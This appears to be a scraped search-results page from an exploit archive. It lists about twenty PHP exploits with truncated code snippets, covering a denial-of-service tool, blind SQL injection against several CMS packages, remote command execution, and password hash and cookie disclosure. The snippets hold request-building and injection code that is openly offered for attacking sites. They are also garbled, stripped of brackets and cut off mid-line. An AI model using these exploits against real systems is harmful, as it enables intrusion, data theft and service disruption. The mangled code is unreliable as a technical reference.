224 matches found
Multiple HTTP Server Low Bandwidth Denial of Service #2
No description provided by source. ?php / DOS for the vulnerbility at http://isc.sans.org/diary.html?storyid=6601 I wrote it in PHP because I find it funny to make PHP attack apache... I set it at 200 processes and it kill my test servers pretty quick. have fun kiddiez... greetz: m1m1, t4dp0le,...
Podcast Generator 1.2 - Unauthorized Re-Installation
$file.$ext $Ldeleted"; / Explanation code snippet above points ----------------------------------------------------------------------------------- 1. blocks all 'amilogged' REQUEST variables,what about GLOBALS?,therefore useless! 2. if 'amilogged' isn't true - exit function activated. 3. unlink...
Podcast Generator <= 1.2 unauthorized Re-Installation Remote Exploit
Exploit for unknown platform in category web applications ==================================================================== Podcast Generator $file.$ext $Ldeleted"; / Explanation code snippet above points ----------------------------------------------------------------------------------- 1...
eLitius 1.0 - Remote Command Execution
?php //786 / ============================================================================== / \ | | | | / \ | | | | / \ | | | | / \ | || | / \ | | | | / \ | | IN THE NAME OF // \ || || // \ || || ============================================================================== / | | || | | \ | | / ...
IF-CMS <= 2.0 (frame.php id) Blind SQL Injection Exploit
No description provided by source. --+++=======================================================+++-- --+++====== IF-CMS = 2.0 Blind SQL Injection Exploit ======+++-- --+++=======================================================+++-- ?php function query $username, $char, $pos //Increase benchmark...
IF-CMS 2.0 - id Blind SQL Injection
IF-CMS 2.0 - id Blind SQL Injection --+++=======================================================+++-- --+++====== IF-CMS 4 return true; else return false; function usage echo "\nIF-CMS ". "\n+ Ex. : php xpl.php localhost /IF-CMS root". "\n\n"; exit ; if $argc != 4 us...
CMS Mini 0.2.2 - Remote Command Execution
CMS Mini 0.2.2 - Remote Command Execution --+++================================================================+++-- --+++====== CMS Mini ". "\n+ Ex. : php xpl.php localhost /CMSmini". "\n\n"; if $argc != 3 usage; $hostname = $argv 1; $path = $argv 2; $fp = fsockopen $hostname, 80; $post =...
CMS Mini 0.2.2 - Remote Command Execution
--+++================================================================+++-- --+++====== CMS Mini ". "\n+ Ex. : php xpl.php localhost /CMSmini". "\n\n"; if $argc != 3 usage; $hostname = $argv 1; $path = $argv 2; $fp = fsockopen $hostname, 80; $post = "message="; $request = "POST...
CMS Mini <= 0.2.2 Remote Command Execution Exploit
No description provided by source. --+++================================================================+++-- --+++====== CMS Mini = 0.2.2 Remote Command Execution Exploit ======+++-- --+++================================================================+++-- ?php function usage exit "\nCMS Mini =...
PLE CMS 1.0 beta 4.2 (login.php school) Blind SQL Injection Exploit
No description provided by source. --+++==============================================================+++-- --+++====== PLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit ======+++-- --+++==============================================================+++-- ?php function query $user, $pos, $chr $quer...
Community CMS <= 0.4 (/index.php id) Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================ Community CMS = 0.4 /index.php id Blind SQL Injection Exploit ================================================================...
ITLPoll 2.7 Stable2 (index.php id) Blind SQL Injection Exploit
No description provided by source. ?php function usage echo "\nITLPoll v2.7 Stable2 Blind SQL Injection Exploit". "\n☢ Usage : ./itlpoll.php hostname path username or password". "\n☢ Ex : ./itlpoll.php localhost /itlpoll password". "\n\n"; exit ; function query $func, $chr, $pos //replace 1'...
ITLPoll 2.7 Stable2 - Blind SQL Injection
". "\n☢ Ex : ./itlpoll.php localhost /itlpoll password". "\n\n"; exit ; function query $func, $chr, $pos //replace 1' with a valid poll number if you have problems. See hostname/path/?Archive for a list of polls. $query = "1' AND ORDMIDSELECT IFNULLCAST$func AS CHAR10000, CHAR32 FROM itlconfig...
PHP-CMS 1 - 'Username' Blind SQL Injection
--+++===================================================+++-- --+++====== PHP-CMS 1 Blind SQL Injection Exploit ======+++-- --+++===================================================+++-- 4 return true; else return false; function usage echo "\nPHP-CMS 1 Blind SQL Injection Exploit". "\n+ Author :...
Discuz! 6. x/7. x SODB-2 0 0 8-1 3 Exp-vulnerability warning-the black bar safety net
!/ usr/bin/php ? php / Discuz! 6. x/7. x SODB-2 0 0 8-1 3 Exp By www.80vul.com notes the value of the variable, add your own to modify / $host = 'www.80vul.com'; // Server domain or IP $path = '/discuz/'; // Where the program path $key = 0; // The above variable is edited, make will the value her...
Lito Lite CMS Multiple Cross Site Scripting / Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ========================================================================= Lito Lite CMS Multiple Cross Site Scripting / Blind SQL Injection Exploit =========================================================================...
PHPFootball 1.6 - Remote Hash Disclosure
\n"; exit; else $head .= "GET /$path/filter.php?dbtable=Accounts&dbfield=Password HTTP/1.1\r\n"; $head .= "Host: $host\r\n"; $head .= "Connection: close\r\n\r\n"; $fsock = fsockopen $host,80; fputs $fsock,$head; while !feof$fsock $cont .= fgets$fsock; fclose$fsock; if pregmatchall"/.+?/",$cont,$i...
SolarCMS 0.53.8 Remote Cookie Disclosure Exploit
?php errorreporting0; / --------------------------------------------------------- SolarCMS 0.53.8 Forum Remote Cookies Disclosure Exploit --------------------------------------------------------- by athos - stakerathotmaildotit download on http://cms.maury91.org/ works regardless PHP.ini settings...
SolarCMS 0.53.8 - Forum Remote Cookies Disclosure
SolarCMS 0.53.8 - Forum Remote Cookies Disclosure ?php errorreporting0; / --------------------------------------------------------- SolarCMS 0.53.8 Forum Remote Cookies Disclosure Exploit --------------------------------------------------------- by athos - stakerathotmaildotit download on...
2532|Gigs 1.2.2 Stable Remote Command Execution Exploit
No description provided by source. ?php / ---------------------------------------------------------------- 2532|Gigs 1.2.2 Stable Remote Command Execution Exploit ---------------------------------------------------------------- by athos - stakerathotmaildotit works regardless php.ini settings...